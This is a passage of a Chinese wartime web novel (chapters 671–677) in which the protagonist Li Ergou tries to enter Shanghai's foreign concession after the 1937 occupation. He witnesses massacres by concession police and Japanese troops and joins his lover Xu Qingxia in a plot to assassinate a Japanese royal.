李二狗立刻恭维道:“我以前来上海的时候听过您的大名,如雷贯耳,早就想结识您了。” 这名警察叫孙佛海,是上海警察局虹口分局的一名小队长,因为他是上海青帮的弟子,在上海很吃得开。 第671章 耐心是回家最近的路 孙佛海是一个非常精明的人,李二狗说他的名字如雷贯耳,那纯属是胡说八道。 他只不过是上海警察局的一个小警察罢了,又怎么可能在繁华的上海滩如雷贯耳! 但没有人不喜欢被人恭维,尤其是像孙佛海这种混社会的人,活得就是一张脸面。 更何况李二狗是一个出手特别大方的人,谈吐气质很是不俗,和这样的人交朋友,对他来说,只有好处,没有坏处。 他立马换了一副嘴脸,脸上有了笑模样。 “咱们今日遇见就是缘分,以后你在上海遇到什么困难,尽管到虹口警察局来找我,只要你提我的名字,他们都知道。” “那太谢谢孙队长了,我以后在上海滩也有人罩着了,哈哈。” 李二狗说着,立马从兜里掏出一根金条塞到孙佛海手里。 孙佛海瞬间惊呆了。 李二狗在他眼里的形象顿时变得高大起来,这样的人,一旦攀上,就相当于自家开了一个银行。 “这……这怎么好意思呢?无功不受禄嘛。” 孙佛海嘴里说着不好意思,可手却攥得很紧,生怕一松手,金条就从他手中飞了一般。 “孙队长,初次见面,一点小意思,不成敬意,以后还有很多事情需要您帮忙,还请您不要嫌少,务必收下。” 孙佛海笑道:“大家以后就是朋友嘛,有什么事情尽管来找我。” 李二狗拱手道:“那就谢谢孙队长了,以后免不了还得麻烦您,改天我在和平饭店做东,请您吃饭。” 出口就是和平饭店,这个人果然不是一般人。 孙佛海笑得小眼睛眯成了一条线。 “这个好说,好说,哈哈。不知兄弟怎么称呼啊?” 李二狗说道:“鄙人叫李二狗,今日能和孙队长相识,真是三生有幸。” 孙佛海伸手握住李二狗的手,就像久别重逢的亲兄弟一般。 “我和李先生的心情是一样的,哈哈。” “孙队长,您叫我二狗就好。” “二狗,哈哈,我喜欢你这个名字。以后你也别叫我孙队长了,就叫我大哥吧。” “大哥,您公务繁忙,我就先不打扰您了,改日我再登门拜访。” “好,一言为定!” 李二狗和孙佛海分别后,直接来到上海租界区中区的入口处,果然是人山人海。 和上次李二狗来上海时相比,这里已经变得面目全非。 租界区与华人区之间已经架设了高大的铁丝网,入口处站有大批的巡捕,身后还修建了机枪阵地,没有证件根本不让进入。 李二狗好不容易才挤到最前面。 “老总,您好,我住在租界里面。” 巡捕看了李二狗一眼,面无表情地说道:“你的证件。” 李二狗便把证件从兜里掏出来递给巡捕,巡捕只瞅了一眼又把证件丢给了李二狗。 “我说的是进入租界区的证件。” “老总,我家住在汉口路66号,那里离工部局大楼不远。” 巡捕不耐烦地说道:“我还说我家住在工部局大楼,有什么用?没有证件一律不得进入!赶紧离开!” “老总,那我怎么才能办理证件?” “去工部局办!” “那我进不去租界,怎么去工部局办理?” 巡捕被问得哑口无言,他用警棍指着李二狗,呵斥道:“你不要在这里无理取闹!赶紧走,否则把你抓起来!快滚!” “老总,您能不能行个方便,我家真的在租界里面。” 李二狗掏出五块大洋就要塞到巡捕手中,他根本就没有接。 “少来这一套!没有证件,绝对不能进入!” 李二狗不知道租界的这些巡捕早就和那些中间人勾结好了,没有钱是绝对进不了租界的。 但你现场给巡捕钱,他们还不敢收! 因为租界区工部局有严格的规定,一旦发现有人收受贿赂就会被立马开除。 李二狗从人群里挤了出来,看来孙佛海没有骗他,他只好等到晚上九点找到那个中间人再说。 战后的上海满目疮痍、到处是一片废墟,大多数饭店、商店都没有开门营业,李二狗好不容易才找到一家饭馆。 他胡乱吃了一些东西,等待着夜幕快点降临。 晚上九点钟,他再次来到租界入口,果然在入口不远处看到一个戴着礼帽的中年男子。 李二狗走向前,说道:“先生,你好,我是孙队长介绍过来的。” 男子上下打量了李二狗一番,没有多余的废话,直接说道:“想要进入租界,一百块大洋!” “不是五十块大洋吗?”李二狗惊问道。 “五十块大洋是昨天的价格,今天就是一百块大洋,进不进?不进就离我远点。” “先生,我是孙队长的朋友,你看是不是……” 男子立刻打断了李二狗,不屑地说道:“你就是市长的朋友也没有用,现在就是这个价,你要是不愿意,就去别处再打听打听,别站在这里耽误我做生意。” 李二狗没想到这些人这么黑,一夜之间价格就能翻倍,但他也没有别的办法。 “一百就一百。” 李二狗从包里掏出一百块大洋递给了男子。 男子把大洋在手里掂了掂,说道:“你还别嫌贵,你以为这些钱都是给我一个人的吗?我得拿这钱去打点方方面面,现在就是这个形势,我也就跟着喝点汤罢了。” 李二狗不愿和他多说一些无用的废话,便问道:“那我什么时候能进去?” 男子指了指不远处的一个角落,那里已经有几个人在等待着。 “你先去那边等着,等晚上十二点,我带你进去。” 李二狗急着回家,没想到还得等三个小时。 “先生,得等到十二点?现在不能进去吗?我急着回家。” 男子早已见惯了李二狗的这种急躁。 他板着脸说道:“着急也没有用!现在这里这么多人,怎么可能放你进去?你去那边等着吧,记住,耐心才是回家最近的路!” 李二狗心里骂道:“耐心是回家最近的路!说话还真他娘的有文化。” 第672章 罪恶的枪声 李二狗走到那个角落里,角落里已经聚集了七八个人,有男人,有女人,有老人,也有孩子,但每个人都穿得人五人六的。 这也难怪,一个人进去就需要一百块大洋,普通市民根本出不起这个钱。 自古以来,一旦战争爆发,最先倒下的都是那些最底层的穷苦百姓。 李二狗环视一圈,连一个与他对视的人都没有,大家脸上都是一副冷冰冰的样子。 看大家都保持着沉默,李二狗也没有说话,他找了个墙根,蹲在地上抽起了烟。 “兄弟,能给根烟抽吗?” 一个男子不知道什么时候来到李二狗身旁蹲下,他西装革履、气度不凡,一看就是生意人。 见李二狗用狐疑的目光看着他,他赶忙解释道:“烟瘾犯了,你知道的,现在根本买不到烟。” 李二狗便把手里握着的烟盒扔给他。 他接过烟盒,从里面抽出一支,掏出随身携带的打火机点燃,深深地吸了一口,然后把口中的烟雾徐徐吐向空中。 “谢了,兄弟。” 他把烟盒递给李二狗,李二狗没有接,说道:“留着抽吧,我身上还有。” 男子有些不敢相信的感觉,在物价飞涨的上海,竟还有如此大方之人。 “兄弟,那谢谢了。” 他赶紧装进了自己的口袋。 一包烟也拉近了两人的距离。 “兄弟,你住租界里面?” “是啊,我家人都住在里面。” “你刚从外地回来的?现在租界里人满为患,没有特别通行证根本不让进。” 李二狗狠狠地抽了一口烟,不是不让进,花二百块大洋就可以进。 这是什么世道! “你也住租界里面?” “我父母家住租界里,我住苏州,现在日本人正准备进攻苏州,我听说租界里很安全,日本人不敢进去,所以我带着老婆孩子来投奔父母。” 他指了指自己的老婆孩子,李二狗看到不远处一个年轻的少妇怀里抱着一个可爱的小女孩。 小女孩大约只有五六岁的模样,她一直看着爸爸所在的方向,脸上露出天真无邪的笑容。 也许她现在还理解不了山河破碎、国破家亡的意思。 “你女儿很可爱。” “谢谢,我就这么一个女儿,我现在只希望她能够在这个乱世里平安地长大。” 说完他把燃烬的烟头扔在地上,然后用脚狠狠地搓了搓,仿佛他搓的不是烟头,而是可恶的日本鬼子。 陆陆续续又来了五六个人,在大家的脸上丝毫看不到即将回家的欣喜。 国破家何在?想必大家的心情都是一样的。 好不容易熬到了十二点,李二狗看到那个戴礼帽的人走到铁门前和里面的一个巡捕隔着铁丝网嘀咕了几句。 “我明白,我明白。” 然后,他走到角落里,神情严肃地对大家说道:“大家一会儿都跟紧我,谁都不许说话,动作麻利点,租界的大门只打开半分钟,进不去可别怪我,都听见了吗?” 大家都纷纷提起自己的行李,渴望着快点进去。 大家跟着他来到铁门前,一个巡捕把手里的烟头扔到地上,用脚狠狠地搓了搓。 “大家都麻溜的,我只开半分钟!” 铁门终于打开了,大家争前恐后地往里挤。 只有十几个人,半分钟的时间足够所有人通过,李二狗不想和这些老弱妇孺争抢,便站在人群的最后面。 正在这时,身后不远处突然传来一阵喧嚣声。 “大家冲啊!” 李二狗一回头,看到成百上千的人不知道从什么地方突然冒了出来,他们呼喊着叫嚷着向铁门这边冲来。 “快关门!快关门!” 巡捕们看到突然冒出的人群顿时吓呆了,赶紧去关闭铁门。 可还没进入的人又怎么甘心被锁在外边?他们用力地推着铁门不让巡捕关闭! 外边的人在推,里面的人在关。 巡捕们用警棍狠狠地敲打着推铁门的人群,可哪怕被打的鲜血直流,也没有人畏惧退缩。 “爸爸,爸爸,快进来。” 刚才那个小女孩被她妈妈抱着已经进入租界里面,她冲着还未进入的爸爸大声呼喊着。 眼看到大批人群就要涌进来,这要让这些难民涌进来,这些巡捕都得丢掉饭碗。 “再不松手,老子就开枪了!机枪准备!” “哗啦哗啦”一阵拉动枪栓的声音,机枪里的子弹已经上膛。 此时,根本没有人听得进去巡捕在说什么,他们不信这些巡捕敢开枪! 但李二狗信,在这个动荡的年代,杀人根本不算什么大事。 他突然看到巡捕们纷纷离开铁门,向两侧快速散去,两挺机枪已经对准了铁门内外的人群。 “大家快散……” 李二狗话未说完,机枪已经开始扫射了。 “突突突……” 李二狗一个鱼跃匍匐在地上,他身前的一群人已经倒在了血泊里。 有老人、有妇女、有孩子…… 本来已经进入租界的那个小女孩由于一直在门内等着她的爸爸进入,和她妈妈一起倒在了血泊里! 大家听到枪声,闻到血腥味,才停止了疯狂的举动,纷纷向后逃去。 机枪声停了,巡捕们冲过来,租界的大铁门关闭了! 李二狗看到那个戴礼帽的中间人躺在离自己只有三米远的地上,身上布满了弹孔,身下则是一片污黑的血水。 周围静极了,连哭喊声仿佛都消失了! “丫丫!老婆!” 一声凄厉的哭喊声打破了夜空的宁静,李二狗看到刚刚借烟的那个男子趴在铁门外边,把手伸进铁丝网。 可他的老婆和女儿却永远地闭上了眼睛! ““丫丫!”男子哭得撕心裂肺,“你们这群畜生!简直比日本鬼子还没有人性!丫丫!老婆!” 一个巡捕一枪托砸在男子的手腕上,大声呵斥道:“马上离开,不然一枪打爆你的头!” “你们还我女儿!畜生!我和你们拼了!” 男子从地上爬起来,扒在铁门上,对着门内大声痛骂。 李二狗听到了熟悉的拉动枪栓的声音, “兄弟,此地不宜久留,快走!” “我不走,我要我的女儿……” “再不离开,就开枪了!” 李二狗见状,知道今晚肯定进不了租界了,他用力地拉着那个男子,跟随着人流向后跑去。 第673章 落难姐妹花 李二狗硬拉着那个男子刚跑出去没多远,男子突然挣脱了李二狗的手,不顾一切地转身向租界入口处跑去。 “丫丫!” “老婆!” …… “你快回来!” 李二狗急得直跺脚,可男子根本听不到李二狗劝阻的声音。 “丫丫!” “砰!” 巡捕以为这名男子要冲卡,直接对着他开了一枪。 男子胸部中枪倒地,当场毙命。 临死前,嘴里还一直喊着丫丫的名字。 “他妈的!你们这群畜生!” 同样是中国人,这些人一旦当了外国的巡捕就自认为高人一等,视同胞的性命为草菅,这样的人比日本鬼子还可恨! 可李二狗又有什么办法呢?他甚至连接近他们的机会都没有。 此刻,他内心有一种深深的无力感。 在这样一个乱世之中,每个人的命运都如大海中的一叶浮萍,只能随波逐流,根本掌控不了自己的命运,更别提去拯救别人,改变现状。 “快走!快走!谁再敢靠近,格杀勿论!” 巡捕们在铁丝网后面大声警告着。 此时,李二狗自身都难保,根本没有办法为那名男子收尸。 “兄弟,对不起了!” 李二狗转身随着人群向后跑去。 由于日本人刚刚占领上海不久,社会治安非常混乱,袭击日本人的行动时有发生。 为了维持社会秩序,保证自身安全,日本人在上海全市实行严厉的宵禁。 晚上九点钟之后,市民禁止外出从事任何活动,否则一律格杀勿论! 李二狗随着人群刚跑出去没多远,正好遇到一队巡逻的日本鬼子。 “八嘎!” “死啦死啦地!” “砰、砰、砰……” “突突突……” 日本鬼子根本没有多余的废话,对着人群就是一阵猛烈地射击,刚刚死里逃生的人们又有一大半惨死在日本鬼子的枪口之下。 李二狗趁乱躲进了一栋被炸毁的楼房废墟中。 日本鬼子开始在附近的废墟里搜捕避难的人群,周围不时有枪声响起。 只要被日本鬼子搜到,他们根本不管你是什么人,直接当场射杀! 李二狗躲在一堵倒塌的墙体下面,那里正好有一个红木柜子,撑住了倒塌下来的墙体,留出了一个狭小的空间。 他屏住呼吸,随时准备冲出去和日本鬼子拼命! 突然,不远处传来一阵轻微的脚步声。 李二狗手中握紧半截钢筋,侧耳倾听着越来越近的脚步声。 “姐,我好怕!” “别怕,有姐姐在!” 原来是两个女人,李二狗内心稍安。 他内心期望这两个女人能赶紧离开这里,因为他藏身的这个地方根本躲藏不了这么多人。 人一多,万一弄出什么动静来,很容易把日本鬼子引来,到时候大家都活不了。 “姐,这里好黑,我好怕!” “别怕,我们先躲在这里,等日本人走了我们再走。” 李二狗内心暗骂这个蠢女人,不去找一个隐蔽的地方躲起来,待在这样一个破屋框子里,只要日本人搜索过来,一眼就能发现她们。 “你们几个去东边看看!” 从日本鬼子的声音判断,他们在西边,离李二狗的距离最多只有两百米。 “姐,怎么办?日本鬼子过来了。” “别慌,快把头低下,也许鬼子看不见我们。” 李二狗彻底服了! 除了几堵破墙,周围无遮无拦,竟然还说鬼子发现不了她们,是她们会隐身术还是日本鬼子瞎了眼? 李二狗知道日本鬼子的德性,如果她们两姐妹被发现,等待她们的必将是非人的蹂躏和折磨。 “姐,我真的好怕!” “别怕!鬼子发现不了我们的。” 李二狗彻底服了! 但他无法做到见死不救! 李二狗悄悄地从她们身后的断壁残垣里爬了出来,还未等她们喊叫,就立即捂住了她们的嘴巴。 他同时低声说道:“别出声,我不是日本人。” 两姐妹早已吓得浑身发抖,只剩下不停地点头。 “日本鬼子马上过来了,你们马上藏到里面去,我去把日本鬼子引开!” 两姐妹没有丝毫犹豫,转身就钻了进去。 一股莫名的失落感涌上李二狗的心头。 自己舍命去救她们两姐妹,她们竟连一句感谢的话都没有,好在李二狗的格局大,不愿与她们一般见识。 待她们钻进去之后,李二狗又搬动旁边的一个石块堵在了入口处。 他悄悄起身,看到西边有四五个日本鬼子正打着手电筒一边搜索一边向这边走来。 李二狗赤手空拳,想消灭四五个日本鬼子难度极大,更何况不远处还有更多的日本鬼子。 他俯身向东边摸索而去。 身后不断有男女老少的哭喊声和枪声,日本鬼子发现一个射杀一个,这里简直成了屠戮场。 李二狗心里还是放心不下那两姐妹,他走了一百米左右便停了下来,躲在一栋破楼的二楼,密切观察着日本鬼子的动向。 很快,那几个日本鬼子便搜索到两姐妹藏身的地方,他们打着手电筒照射了一番,并没有发现异常。 李二狗一直紧绷的神经才稍微松弛了一下。 正当日本鬼子要离开的时候,一个日本鬼子在隔壁的破屋里发现了一个躲避在那里的男子。 日本鬼子刚要举起刺刀杀了他,男子情急之下大声喊道:“我知道有两个女人就躲藏在附近,求求你们,别杀我,别杀我。” 这群日本鬼子当中正好有一个是在台湾出生长大的,他听得懂中国话。 “两个女人?吆西!”他立即两眼放光,“你地快说,两个女人藏在哪里?” 男子跪在地上,一边磕头一边求饶,鼻涕一把眼泪一把。 “只要你们不杀我,我就告诉你们。” 日本鬼子一心只想着两个花姑娘,这个男子无论说什么他们全部都口头答应着。 “好好好,只要你说出来,我们就不杀你,还马上就放你走!” 男子高兴极了,他起身指向两姐妹藏身的地方。 “她们就藏在那里!我看的清清楚楚!” 第674章 李二狗挺身而出 日本鬼子顺着男子手指的方向去寻找,果然发现了那两姐妹。 她们两人抱在一起,惊恐地看着狞笑的日本鬼子,犹如惊弓之鸟。 “花姑娘地,吆西,哈哈哈……” 他们伸手去拉扯她们,其中一个日本鬼子还故意用手掐了一下姐姐丰满的胸脯子。 “啊……放开我!放开我!” 女人的惊声尖叫反而更加激发了这群日本鬼子的兽性。 “吆西,花姑娘地,哈哈哈……” 男子看着一群日本鬼子拉扯两姐妹,没有丝毫同情和愧疚之心,他只想着自己活命。 “可以放我走了吗?” 其中一个日本鬼子回头狞笑道:“当然,你走吧!” 男子刚转身要跑,“砰”的一声,一个日本鬼子举起“三八大盖”步枪瞄准了他,一颗邪恶的子弹结束了这个男人可耻的一生! 这样的人确实不配活着! 他枉为中国男人! “放开我,你们放开我,姐姐救我,姐姐救我……” “放开我妹妹,放开我妹妹,妹妹……” “吆西,花姑娘地,哈哈……” “放开我!放开我!” 女人疯狂地抓扯着日本鬼子,其中一个日本鬼子的脸被妹妹抓了一下。 “八嘎!” “啪、啪、啪……” 日本鬼子正反手几个大嘴巴子把女人打得顿时瘫软在地上。 “妹妹……你们这群畜生,快放了我妹妹……” “啪、啪、啪……” 姐姐被扇了几个耳光,也瘫软在地上。 “哈哈哈……大家全部排好队,一个一个来!” “吆西,哈哈哈!” 李二狗知道此时自己如果冲过去救人,只有死路一条! 可不去救她们,这两个女人必死无疑! 李二狗稍微犹豫了一秒钟,还是冲了下去。 他手里握着半截钢筋,悄悄摸索到日本鬼子发泄兽欲的地方。 “放开我!放开我!” “哈哈哈,吆西,吆西!” 李二狗捂住最外边一个日本鬼子的嘴巴,一钢筋插进了他的后背。 他圆睁着双眼,死不瞑目! 其他日本鬼子的注意力全集中在那两个女人身上,他们根本没有发现同伴已经被李二狗杀死。 李二狗知道,想杀光这里所有的日本鬼子几乎不可能。 他从杀死的这个日本鬼子身上摸到两颗手雷,又捡起他的枪,快速离开了这个地方。 跑到六七十米开外的地方,他举枪瞄准一个日本鬼子的脑袋,“砰”的一声,子弹击中了他的后脑勺。 “八嘎!有敌人!” 顿时枪声响成一片,李二狗躲在一个墙体后面,掏出一颗手雷,用力地扔向日本鬼子。 “轰”的一声,手雷在离日本鬼子十几米开外的地方炸响了。 虽然没有炸死日本鬼子,但巨大的爆炸声还是把日本鬼子的注意力全部吸引了过来。 这正是李二狗的目的,他把日本鬼子都吸引到自己这边来,那两姐妹才有逃生的机会。 至于她们最终是生是死,只能凭她们自己的造化,李二狗已无法做到更多。 “在那边!抓住他!” 日本鬼子边打边冲,离李二狗只有四十米了! 三十米! 二十米! 李二狗拉掉保险栓,把手雷扔了过去。 “轰!” 这一次手雷在人群中开了花,四个日本鬼子全部被炸死了! 但周围的日本鬼子听到枪声纷纷向这边冲来,李二狗不敢再耽搁,赶紧向东边跑去。 借着夜色的掩护和灵活的身手,李二狗很快就逃离了日本鬼子的追击! 他心里还挂念着那两姐妹,不知道她们最后是死是活! 李二狗躲在一座破旧的城隍庙中,度过了漫长的一夜。 天亮后,他把步枪掩藏在一尊土地神塑像的后面,走出了城隍庙。 街上已经有稀稀疏疏的行人,不管世事如何艰难,生活总得继续下去。 李二狗来到一家馄饨摊,点了一碗馄饨。 “老板,虹口警察局怎么走?” 老板听出李二狗是外地口音,警惕地看了他一眼。 “我有个亲戚在虹口警察局当差,我去投奔他。”李二狗故意解释道。 老板左右瞅了瞅,才低声说道:“先生,如今虹口警察局已经被日本人接管,你要投奔的亲戚不一定还在那里。” “不管他在不在,我也得去看一眼,否则我在上海没有一个落脚的地方。” “沿着这条街一直往前走,在第三个路口左转,接着向前再走四个路口右转,然后再直行五个路口,右手边那个三层的灰色小洋楼就是,门口有个大牌子,你一看就知道。” “谢谢老板,”李二狗顺口夸道,“你这馄饨很好吃。” 老板并没有因为李二狗的夸赞而露出笑容。 他哀叹一声,说道:“哎,总还得活下去吧。” 李二狗被他的情绪感染,没有再攀谈,而是匆匆吃完面前的这碗馄饨,把一块大洋放在桌子上离开了。 按照馄饨摊老板所指的路线,李二狗顺利找到了虹口警察局。 “我找孙队长。” “孙队长?你找哪个孙队长?”门口站岗的警察不让李二狗进入。 “我找孙佛海队长。” “原来是他小子,他算什么狗屁队长?你在这等着,我打电话让他出来。” 李二狗有种上当受骗的感觉。 孙佛海听到门外有人找,并没有急着从里面出来,昨晚喝多了酒,他现在还有点晕乎乎的。 等了二十分钟,孙佛海还没有从里面出来。 李二狗问道:“老总,麻烦您再给问一下,孙队长怎么还没出来?” 站岗的警察不耐烦地说道:“他没出来,你就再等一会儿,着什么急?” 李二狗知道,在上海这种大城市,人与人之间的关系非常冷淡。 他从身上掏出一块大洋,塞到那个警察手里,他脸上立马绽放出灿烂的笑容。 “你说这个孙队长,到现在还不出来!你等着,我马上给你催一下。” 警察打完电话之后,孙佛海很快便从局里面走了出来。 当他看到李二狗,不免吃了一惊,他没想到竟是李二狗这个财神爷找他。 “你昨晚不是去租界了吗?怎么现在来找我?” 李二狗哭丧着脸说道:“我是小孩没娘,说来话长啊。” 第675章 邂逅徐青霞 孙佛海本想让李二狗进入警察局,但又怕暴露了自己只是一个警察局最底层小警察的事实。 “走,咱们找一个安静的地方慢慢说。” 孙佛海带着李二狗来到警察局附近的一家咖啡厅,他虽然只是一个最底层的小警察,但对于那些开店做生意的小老板来说,却是实打实的老总。 老板热心地为他们安排了楼上的一个僻静的包间。 “送两杯拿铁进来,我不喊,任何人不要进来。” “好的,孙队长。” 老板转身出去了,态度极其恭敬。 “二狗,到底出什么事了?你不是去租界了吗?” “哎,昨晚突发变故,有一大群人想冲卡进入租界,租界巡捕们开了枪,你介绍的那个中间人也被乱枪打死了!” “真他妈的晦气!”孙佛海忍不住骂道,他只认识这么一个中间人,但嘴上却说道:“二狗,你不要着急,我再来想想办法。” “大哥,多花点钱没关系,我想尽快进入租界里面。” 中日打了三个多月的仗,李二狗十分担心于兰芝等人的安危。 孙佛海保证道:“兄弟,你放心吧,只要有钱,没有咱们进不去的地方。我一会就去找我大哥,他肯定会有办法。” 看李二狗露出一副疑惑的表情,孙佛海解释道:“实不相瞒,我是上海青帮的弟子,我大哥周士群是虹口的老大,他肯定会有办法的。” 李二狗听说过青帮的大名,号称当今中国第一大帮派,帮派老大和民国政府领导人之间都称兄道弟。 但现在上海已经沦陷于日本人之手,他们在上海还能呼风唤雨吗?李二狗表示怀疑。 但现在他根本没有别的更好办法,旧垣结衣目前正在日本国内忙于一夜八次丸的生意,她如果在上海,很多问题将迎刃而解。 “那就谢谢大哥了。大哥,我现在身上没有带钱,等我进入租界,一定会重重地感谢你们。” 李二狗出手阔绰的样子给孙佛海留下了深刻的印象。 “那些都是小事,你就等我的好消息吧。” 两人出了咖啡馆的门,迎面走来的女人让李二狗浑身一颤。 徐青霞! 竟然是徐青霞! 李二狗惊呆了! 徐青霞很明显也认出了李二狗,她惊讶的样子丝毫不亚于李二狗。 李二狗刚要说话,被她用眼神制止了。 他这才意识到自己身边有个穿警察制服的孙佛海。 李二狗整理了一下思绪,和徐青霞擦肩而过。 走了一个路口,李二狗说道:“大哥,今天晚上能有消息吗?” 孙佛海说道:“应该差不多!” “那咱们今晚七点,还在这个咖啡馆见面?” “好,我现在就去找我大哥,咱们晚上见。” 两人分别后,李二狗飞快地返回咖啡馆。 李二狗推门进入,空荡荡的大厅里并没有发现徐青霞的影子。 一个服务员走过来,礼貌地问道:“您好,请问您是李二狗先生吗?” “我是。” “有位小姐在楼上222包间等您。” 李二狗三步并两步,飞奔上楼。 来到222包间门口,李二狗深吸一口气,努力让自己的情绪平复下来。 他抬手敲了敲房门,很快里面便传来一阵窸窸窣窣的声音。 房门打开了,徐青霞那张美丽的脸庞绽放在李二狗面前。 “青霞!” “二狗!” “砰”的一声,房门关上了,两人迫不及待地拥吻在一起…… 半个时辰之后,两人才意犹未尽地松开彼此。 “青霞,你怎么来上海了?” 武汉一别之后,李二狗再也没有徐青霞的消息,没想到会在上海遇到她。 “我……” 徐青霞犹豫了一下,还是不打算告诉李二狗自己的真实身份。 在武汉期间,她彻底认清了力行社的真实面目,在李二狗的帮助下,她通过中共武汉工委加入了中国共产党。 鉴于她身份特殊,中共武汉工委遵照上级指示,让徐青霞重新打入力行社并潜伏下来。 上海沦陷前,徐青霞被调到力行社上海站。 淞沪会战期间,力行社上海站损失惨重。 目前只剩下包括徐青霞在内的三个人,而这其中,徐青霞的职位最高,她现在临时负责力行社上海站的工作。 “我现在上海工作。” “为共产党工作?” 徐青霞没有点头,也没有摇头,她既不想暴露自己的身份,也不想骗李二狗。 “二狗,原谅我好吗?” 李二狗丈二和尚摸不着头脑,原谅你?你做错了什么? “青霞,我原谅你什么?” “原谅我不能告诉你。” 李二狗根本不在意这些,他在意的只是徐青霞的安全。 “青霞,只要你平安就好。” 徐青霞默默地点了点头,目前对于她来说,最难做到的就是平安。 她刚刚接到总社的命令,命令上海站不惜一切代价,刺杀在沪的日本皇室成员竹田宫。 日军占领东亚最大的城市上海之后,日本皇室特意派遣竹田宫代表日本皇室到上海慰问全体将士。 她正为此事发愁,如今上海站只有三名成员,总社又没有能力在短时间内派遣人员到上海执行刺杀任务。 这对上海站来说,几乎是一个不可能完成的任务。 不成功便成仁,徐青霞别无选择! 两人又亲热了一会儿,徐青霞好久没有体会到这种身心畅快的感觉,上一次有这种体验,还是在武汉的时候,当然也是李二狗给予她的。 “二狗,我要走了,你多保重。” 刚见面就要分别,李二狗有太多的不舍。 “青霞,我去哪里找你?” 刺杀竹田宫的行动九死一生,徐青霞已经做好了与李二狗诀别的心理准备。 “二狗,你保重,咱们后会有期。” 李二狗怎能听不出徐青霞话里的诀别之意。 他一把拉住徐青霞,问道:“到底出什么事了?” 徐青霞的眼泪流了下来。 “二狗,我真的不能告诉你,你还是忘了我吧。” 徐青霞越是这样说,李二狗越不可能放她走。 “青霞,到底出什么事了?你难道还不相信我吗?只要你告诉我,我保证不会告诉任何人,我只是想帮你分担分担。” 其实,徐青霞根本不是担心李二狗会泄密,她是担心连累李二狗。 第676章 来日方长 “二狗,不是我不愿意告诉你,只是……我不想连累你,你还是别问了。” 徐青霞虽然和李二狗相处的时间并不长,但她了解李二狗的脾气秉性,一旦他知道了这件事,一定不会袖手旁观。 可这件事和李二狗并没有关系,他没有必要蹚这趟浑水。 “青霞,你我之间虽然见面的次数屈指可数,可我一直视你为红颜知己,如果你有什么事……我不想抱憾终生,难道你想让我后半生一直活在愧疚中吗?” 徐青霞被李二狗感动的涕泪涟涟,她扑到他怀里,感受他强壮的身体带给自己的安全感。 “二狗,我知道你对我好,可这毕竟不是你的事,你真的没有必要牵扯进来,这件事太危险了。” 此时,李二狗已经大体猜到是什么事情。 无论徐青霞代表的是何党何派,她要做的事情肯定是和日本人有关。 “即使咱俩不认识,但作为一个中国人,消灭日本鬼子都是我义不容辞的责任,青霞,就让我和你一起消灭小鬼子吧!” 徐青霞彻底被李二狗征服了。 她并没有说是什么事,可李二狗已经通过自己的分析猜到了事情的大概。 面对这样一个男人,徐青霞只能完全敞开心扉。 她把自己之前加入共产党后又奉命返回力行社执行潜伏任务的经过以及此次刺杀日本皇室成员竹田宫的事全部告诉了李二狗。 李二狗之前即使猜到了所有,却万万没有猜到徐青霞会回到力行社执行潜伏任务,这实在是太危险了。 在李二狗的印象中,她还只是一个年少无知的少女!这一切不应该是她承担的。 可士别三日当刮目相看,徐青霞早已不是当初那个刚刚走出校园的懵懂少女,如今她已经成长为一名优秀的特工。 “你知道竹田宫现在住在哪里吗?” “不知道!” “你知道竹田宫在上海会参加哪些活动吗?” “不知道!” “你知道竹田宫什么时间离开上海吗?” “不知道!” 徐青霞一问三不知,确实出乎李二狗的意料。 但这次刺杀任务是上海站刚刚接到的任务,也不怪徐青霞一问三不知! 日本人刚刚占领上海不久,上海目前还属于严管阶段,各方面的消息都很闭塞。 淞沪会战期间,力行社上海站奉命执行多起刺杀爆破任务,站里的精英几乎损失殆尽! 他们甚至连办公地点都没有,目前只靠仅存的一个联络站与总社保持联系。 李二狗知道此次任务的艰巨性和危险程度,他想劝说徐青霞放弃刺杀任务。 她只是奉命潜伏在力行社,并不是真正的力行社人员,没必要为了执行他们的任务而丢掉性命。 “青霞,你并不是力行社的人员……” 未等李二狗把话说完,徐青霞坚定地说道:“二狗,我知道你要说什么,但我不会放弃执行此次刺杀任务!” 李二狗几乎失声道:“为什么?青霞,没有什么比活着更重要!” “如今日本人正侵我国土、杀我同胞,我们不应该在固执地把党派区分的那么明显,只要是对国家、对民族有益的事情,我们都有义不容辞的责任!杀掉竹田宫,我相信是每个中国人都渴望去做的事情。” “好吧,我帮你!”李二狗坚定地说道。 “二狗,你没必要掺和进来,毕竟你不是力行社的人员。” “你刚刚不是说了吗?杀掉竹田宫,是每个中国人都渴望去做的事情,我也是中国人,我也非常渴望!” 徐青霞自己说过的话,被李二狗活学活用了! 看李二狗态度如此坚决,徐青霞不忍心再拒绝,她知道,即使她拒绝,李二狗也会坚持到底。 最重要的是她们正缺人手,有了李二狗的帮助,刺杀成功的几率将会大大增加。 目前,中国的抗战需要这样一个振奋人心的消息。 “好,二狗,我答应你!我们一起杀鬼子!” 两人再次紧紧地拥抱亲吻在一起。 “二狗,你住在哪?我今后怎么联系你?” 李二狗苦笑道:“我刚到上海,想进入公共租界,可根本进不去!如今我是无家可归。” 徐青霞羞涩地一笑,说道:“放心吧,我先收留你。” 李二狗巴不得让徐青霞收留。 “你住在哪里?” “我住在法租界!” “法租界?” 李二狗失望之情溢于言表,公共租界他进不去,法租界肯定也进不去! “法租界的一个巡捕是我们上海站的人,你放心吧,我能带你进去!” “太好了!那我们走吧。” 李二狗有些迫不及待地想跟着徐青霞回家,至于回家做什么,李二狗和徐青霞心里都跟明镜似的。 “现在还不行!”徐青霞有些不情愿地说道。 “为什么?” “我们那个兄弟今天晚上才值班,我有通行证,我现在能进去,可你进不去!” 一想到晚上才能去,李二狗心里像猫抓一样。 孙佛海已经去找周士群,今晚要送他进公共租界。 他实在是分身乏术。 但李二狗知道,此时绝不是贪恋床帏之事的时候,男人要想做大事,绝不能被男女之事束缚住手脚。 “青霞,你看看能不能让你们的人给我也办一张法租界的通行证?” 徐青霞点了点头,说道:“可以,但是需要一定的时间。” 徐青霞以为李二狗已经急不可耐。 “明天中午十二点,我们还在这里见面。” 听到李二狗今晚不跟她回法租界,徐青霞失望之情溢于言表。 “你……你要去哪?” 李二狗知道她心里的想法,他何尝不想和她深入的交流,可形势逼人,他不得不有所取舍。 “我想办法去打听一下竹田宫的消息。” 这个理由是徐青霞无法拒绝的,她也在想办法打听竹田宫的消息。 人在哪都不知道,更别提刺杀! “二狗,那你小心一点。” “你也是!青霞,咱们来日方长!你一定要保护好自己。” 两人再次拥吻,然后一前一后离开了咖啡馆。 第677章 胸大不无脑 